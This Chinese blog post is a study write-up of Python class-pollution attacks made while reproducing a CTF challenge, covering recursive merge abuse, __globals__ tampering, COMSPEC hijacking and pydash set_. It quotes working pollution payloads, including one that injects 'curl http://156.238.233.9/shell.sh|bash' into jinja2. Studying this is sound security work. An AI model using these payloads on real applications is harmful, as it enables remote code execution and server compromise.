python 原型链污染学习
- 复现SU的时候遇到一道python原型链污染的题,借此机会学一下
- 参考:
- 【原型链污染】Python与Js
- https://blog.abdulrah33m.com/prototype-pollution-in-python/
- pydash原型链污染
文章目录
- 基础知识
- 对父类的污染
- 命令执行
- 对子类的污染
- pydash原型链污染
- 打污染的一些手法
基础知识
python的原型链污染实际是一些对类的操作,我们的输入一般是str或者int,所以不能使用
a.__class__=‘pollute’
但是a还有一个属性__qualname__,可以访问和修改类名
a.__class_.__qualname_=‘pollute’
假如原本a是poerson类,在此修改之后就会变成pollute类
接下来看merge函数,这个函数实现了对两个字典的递归合并,如果原来已有的键值对会被覆盖,新的键值对会被加进去,举个例子
合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}
覆盖原有值
class Settings:def __init__(self):self.theme = "dark"config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"
深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}
到这里你应该理解merge函数的作用了,来看看它的源码
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'): #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)
所以,我们可以利用这个函数进行污染
对父类的污染
payload = {"__class__":{"__base__":{"__qualname__":"Polluted"}}
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>
当然,对于不可变类型Object或者str等,Python限制不能对其进行修改。
命令执行
在一些存在命令执行的类里,我们就可以尝试覆盖cmd
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'): #检查dst对象是否有__getitem__属性,如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)
class exp:def __init__(self,cmd):self.cmd=cmddef excute(self):os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()
对子类的污染
在学习污染子类之前,先看一点前置知识
其实很像SSTI,这个全局变量可以从任何已知函数的方法访问,比如我们常用的._init_.__globals__来找可以用来执行命令的模块,就是基于这个原理,__init__属性是类中常见的函数,所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量
{"__init__": {"__globals__": {"subprocess": {"os": {"environ": {"COMSPEC": "cmd /c calc" # 篡改环境变量 COMSPEC}}}}}
}
COMSPEC 环境变量的意义
在 Windows 中,COMSPEC 指定了系统命令解释器的路径(默认为 cmd.exe)。
篡改为 cmd /c calc 后,subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os,如果有os模块直接调用即可
看看完整攻击命令
import subprocess, jsonclass Employee:def __init__(self):passdef merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])subprocess.Popen('whoami', shell=True)
pydash原型链污染
set_(notes, key, value)
pydash库的set_函数,可以说是在实际环境中的merge函数,用于将键值对添加到类中
from pydash import set_
class user:def __init__(self):pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789
不过这里当个例子看就行,因为pydash库现在不允许直接对global,builtins这样的变量进行修改
调试set_函数,跟进到update_with函数,可以看到跟merge函数起到类似的作用
def update_with(obj, path, updater, customizer=None): # noqa: PLR0912"""This method is like :func:`update` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns ``None``, path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj: Object to modify.path: A string or list of keys that describe the object path to modify.updater: Function that returns updated value.customizer: The function to customize assigned values.Returns:Updated `obj`.Warning:`obj` is modified in place.Example:>>> update_with({}, "[0][1]", lambda: "a", lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0"""if not callable(updater):updater = pyd.constant(updater)if customizer is not None and not callable(customizer):call_customizer = partial(callit, clone, customizer, argcount=1)elif customizer:call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))else:call_customizer = Nonedefault_type = dict if isinstance(obj, dict) else listtokens = to_path_tokens(path)last_key = pyd.last(tokens)if isinstance(last_key, PathToken):last_key = last_key.keytarget = objfor idx, token in enumerate(pyd.initial(tokens)):key = token.keydefault_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)obj_val = base_get(target, key, default=None)path_obj = Noneif call_customizer:path_obj = call_customizer(obj_val, key, target)if path_obj is None:path_obj = default_factory()base_set(target, key, path_obj, allow_override=False)try:target = base_get(target, key, default=None)except TypeError as exc: # pragma: no covertry:target = target[int(key)]_failed = Falseexcept Exception:_failed = Trueif _failed:raise TypeError(f"Unable to update object at index {key!r}. {exc}") from excvalue = base_get(target, last_key, default=None)base_set(target, last_key, callit(updater, value))return obj
虽然set_函数的注释里就可以看出它的作用,但是底层真正起到作用的还是update_with函数
def set_(obj: T, path: PathT, value: t.Any) -> T:"""Sets the value of an object described by `path`. If any part of the object path doesn't exist,it will be created.Args:obj: Object to modify.path: Target path to set value to.value: Value to set.Returns:Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_({}, "a.b.c", 1){'a': {'b': {'c': 1}}}>>> set_({}, "a.0.c", 1){'a': {'0': {'c': 1}}}>>> set_([1, 2], "[2][0]", 1)[1, 2, [1]]>>> set_({}, "a.b[0].c", 1){'a': {'b': [{'c': 1}]}}.. versionadded:: 2.2.0.. versionchanged:: 3.3.0Added :func:`set_` as main definition and :func:`deep_set` as alias... versionchanged:: 4.0.0- Modify `obj` in place.- Support creating default path values as ``list`` or ``dict`` based on whether key or indexsubstrings are used.- Remove alias ``deep_set``."""return set_with(obj, path, value)
打污染的一些手法
-
sys模块加载获取
引用sys模块下的module属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块
如果可以把目标模块污染成我们想要的命令,那命令是不是就可以自运行了

-
通过 loader._init_._globals_[‘sys’]来获取sys模块
(loader加载器的作用是实现模块加载,在内置模块importlib中具体实现,而importlib模块下所有的py文件中均引入了sys模块)

-
在python中还存在一个__spec__,包含了关于类加载时候的信息,他定义在Lib/importlib/bootstrap.py的类ModuleSpec,所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块
了解到这些之后我们再来看SU的payload
payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}
runtime有什么用呢
相关文章:
python 原型链污染学习
复现SU的时候遇到一道python原型链污染的题,借此机会学一下参考: 【原型链污染】Python与Jshttps://blog.abdulrah33m.com/prototype-pollution-in-python/pydash原型链污染 文章目录 基础知识对父类的污染命令执行对子类的污染pydash原型链污染打污染的…...
Windows 图形显示驱动开发-WDDM 2.4功能-GPU 半虚拟化(十一)
注册表设置 GPU虚拟化标志 GpuVirtualizationFlags 注册表项用于设置半虚拟化 GPU 的行为。 密钥位于: DWORD HKLM\System\CurrentControlSet\Control\GraphicsDrivers\GpuVirtualizationFlags 定义了以下位: 位描述0x1 为所有硬件适配器强制设置…...
入栈操作-出栈操作
入栈操作 其 入栈操作 汇编代码流程解析如下: 出栈操作 其 出栈操作 汇编代码流程解析如下:...
C++ 多态:面向对象编程的核心概念(一)
文章目录 引言1. 多态的概念2. 多态的定义和实现2.1 实现多态的条件2.2 虚函数2.3 虚函数的重写/覆盖2.4 虚函数重写的一些其他问题2.5 override 和 final 关键字2.6 重载/重写/隐藏的对比 3. 纯虚函数和抽象类 引言 多态是面向对象编程的三大特性之一(封装、继承、…...
传统策略梯度方法的弊端与PPO的改进:稳定性与样本效率的提升
为什么传统策略梯度方法(如REINFORCE算法)在训练过程中存在不稳定性和样本效率低下的问题 1. 传统策略梯度方法的基本公式 传统策略梯度方法的目标是最大化累积奖励的期望值。具体来说,优化目标可以表示为: max θ J ( θ )…...
我的机器学习学习之路
学习python的初衷 • hi,今天给朋友们分享一下我是怎么从0基础开始学习机器学习的。 • 我是2023年9月开始下定决心要学python的,目的有两个,一是为了提升自己的技能和价值,二是将所学的知识应用到工作中去,提升工作…...
Spring Boot 的自动装配
Spring Boot 的自动装配(Auto Configuration)是其核心特性之一,通过智能化的条件判断和配置加载机制,极大简化了传统 Spring 应用的配置复杂度。其原理和实现过程可概括为以下几个关键点: 一、核心触发机制:…...
Python数据可视化-第3章-图表辅助元素的定制
教材 本书为《Python数据可视化》一书的配套内容,本章为第3章-图表辅助元素的定制 本章主要介绍了图表辅助元素的定制,包括认识常用的辅助元素、设置坐标轴的标签、设置刻度范围和刻度标签、添加标题和图例、显示网格、添加参考线和参考区域、添加注释文…...
`git commit --amend` 详解:修改提交记录的正确方式
文章目录 git commit --amend 详解:修改提交记录的正确方式1. 修改提交信息2. 补充遗漏的文件3. 结合 --amend 进行交互式修改4. 已推送提交的修改总结 git commit --amend 详解:修改提交记录的正确方式 git commit --amend 用于修改最近一次的提交&…...
Linux系统下C语言fork函数使用案例
一、fork函数的作用 生成一个子进程,异步执行某个任务; 二、子进程的作用 1、子进程能复制一份父进程的变量、函数; 2、子进程可以和父进程同时并发执行; 函数语法: pid_t fork() 说明:调用后返回一个进程…...
springboot实现异步导入Excel的注意点
springboot实现异步导入Excel 需求前言异步导入面临的问题实现异步如何导入大Excel文件避免OOM?异步操作后,如何通知导入结果?如何加快导入效率?将导入结果通知给用户后,如何避免重复通知? 优化点完结撒花&…...
Linux练习——有关硬盘、联网、软件包的管理
1、将你的虚拟机的网卡模式设置为nat模式,给虚拟机网卡配置三个主机位分别为100、200、168的ip地址 #使用nmtui打开文本图形界面配置网络 [rootrhcsa0306 ~]# nmtui #使用命令激活名为 ens160 的 NetworkManager 网络连接 [rootrhcsa0306 ~]# nmcli c up ens160 #通…...
论文阅读:GS-Blur: A 3D Scene-Based Dataset for Realistic Image Deblurring
今天介绍一篇 2024 NeurIPS 的文章,是关于真实世界去模糊任务的数据集构建的工作,论文作者来自韩国首尔大学 Abstract 要训练去模糊网络,拥有一个包含成对模糊图像和清晰图像的合适数据集至关重要。现有的数据集收集模糊图像的方式主要有两…...
经典动态规划问题:爬楼梯的多种解法详解
引言 今天我们要解决一个经典的算法问题——爬楼梯问题。这个问题看似简单,但蕴含了多种解法,从递归到动态规划,再到组合数学,每种方法都有其独特的思路和优化方式。本文将详细讲解四种解法,并通过代码和图解帮助大家…...
Kubernetes深度解析:云原生时代的容器编排引擎
一、背景与演进 1. 容器革命的必然产物 Kubernetes(K8s)诞生于2014年,是Google基于其内部Borg系统的开源实现。在传统单体应用向微服务架构转型的浪潮中,容器技术(如Docker)解决了应用打包和环境隔离问题…...
Cocos Creator Shader入门实战(七):RGB不同算法效果的实现,及渲染技术、宏定义、属性参数的延伸配置
引擎:3.8.5 您好,我是鹤九日! 回顾 上篇文章,讲解了Cocos Shader如何通过setProperty动态设置材质的属性,以及设置属性时候的一些注意事项,比如: 一、CCEffect部分properties参数的设定后&…...
leetcode102 二叉树的层次遍历 递归
(1) 找出重复的子问题。 层次遍历是每一层的节点从左到右的遍历,所以在遍历的时候我们可以先遍历左子树,再遍历右子树。 需要注意的是,在遍历左子树或者右子树的时候,涉及到向上或者向下遍历,为了让递归的过程中的同…...
Netty源码—10.Netty工具之时间轮二
大纲 1.什么是时间轮 2.HashedWheelTimer是什么 3.HashedWheelTimer的使用 4.HashedWheelTimer的运行流程 5.HashedWheelTimer的核心字段 6.HashedWheelTimer的构造方法 7.HashedWheelTimer添加任务和执行任务 8.HashedWheelTimer的完整源码 9.HashedWheelTimer的总结…...
算法学习记录:递归
递归算法的关键在于回复现场,dfs()函数返回值、结束条件、它的作用。 目录 1.综合练习 2. 二叉树的深搜 1.综合练习 39. 组合总和 - 力扣(LeetCode) 关键在画出的决策树当中,前面使用过的2、3,…...
启山智软实现b2c单商户商城对比传统单商户的优势在哪里?
启山智软实现 B2C 单商户商城具有以下对比优势: 技术架构方面 先进的框架选型:基于 SpringCloud 等主流框架开发,是百万真实用户沉淀并检验的商城系统,技术成熟稳定,能应对高并发场景,保证系统在大流量访…...
可发1区的超级创新思路(python\matlab实现):MPTS+Lconv+注意力集成机制的Transformer时间序列模型
首先声明,该模型为原创!原创!原创!且该思路还未有成果发表,感兴趣的小伙伴可以借鉴! 应用场景 该模型主要用于时间序列数据预测问题,包含功率预测、电池寿命预测、电机故障检测等等。 一、模型整体架构(本文以光伏功率预测为例) 本模型由多尺度特征提取模块(MPTS)…...
三、分类模块,通用组件顶部导航栏Navbar
1.封装通用组件顶部导航栏Navbar 不同效果 Component export struct MkNavbar {Prop title: string Prop leftIcon: ResourceStr $r("app.media.ic_public_left")ProprightIcon: ResourceStr $r("app.media.ic_public_more")PropshowLeftIcon: boolean…...
PHY——LAN8720A 寄存器读写 (二)
文章目录 PHY——LAN8720A 寄存器读写 (二)工程配置引脚初始化代码以太网初始化代码PHY 接口实现LAN8720 接口实现PHY 接口测试 PHY——LAN8720A 寄存器读写 (二) 工程配置 这里以野火电子的 F429 开发板为例,配置以太网外设 这里有一点需要注意原理图 RMII_TXD0…...
Flutter_学习记录_AppBar中取消leading的占位展示
将leading设置为null将automaticallyImplyLeading设置为false 看看automaticallyImplyLeading的说明: Controls whether we should try to imply the leading widget if null. If true and [AppBar.leading] is null, automatically try to deduce what the leading…...
PHP泛型与集合的未来:从动态类型到强类型的演进
文章精选推荐 1 JetBrains Ai assistant 编程工具让你的工作效率翻倍 2 Extra Icons:JetBrains IDE的图标增强神器 3 IDEA插件推荐-SequenceDiagram,自动生成时序图 4 BashSupport Pro 这个ides插件主要是用来干嘛的 ? 5 IDEA必装的插件&…...
未来派几何风格包装徽标品牌海报标牌logo设计无衬线英文字体安装包 Myfonts – Trakya Sans Font Family
Trakya Sans 是一种具有几何风格的现代无衬线字体。Futura、Avant Garde 等。它具有现代条纹,这是宽度和高度协调的结果,尤其是在小写字母中,以支持易读性。 非常适合广告和包装、编辑和出版、徽标、品牌和创意产业、海报和广告牌、小文本、寻…...
C语言深度解析:从零到系统级开发的完整指南
一、C语言的核心特性与优势 1. 高效性与直接硬件控制 C语言通过编译为机器码的特性,成为系统级开发的首选语言。例如,Linux内核通过C语言直接操作内存和硬件寄存器,实现高效进程调度。 关键点: malloc/free直接管理内存&#…...
ctfshow WEB web8
首先确定注入点,输入以下payload使SQL恒成立 ?id-1/**/or/**/true 再输入一下payload 使SQL恒不成立 ?id-1/**/or/**/false 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示 由以上返回结果可知,该页面存在SQL注入,注入点…...
【Linux】U-Boot 加载并启动 Linux 系统程序
U-Boot 加载并启动 Linux 系统程序 零、介绍 最近在玩一些嵌入式的开发板,在引导操作系统时需要用到U-Boot,故此研究一下。 U-Boot(Universal Bootloader)是一款开源的通用引导加载程序,专为嵌入式系统设计ÿ…...
jarvisoj API调用 [JSON格式变XXE]
http://web.jarvisoj.com:9882/ 题目要求:请设法获得目标机器 /home/ctf/flag.txt 中的flag值 抓包得到: POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 Content-Length: 36 Accept-Language: zh-CN,zh;q0.9 User-Agent: Mozilla/5.0 (W…...
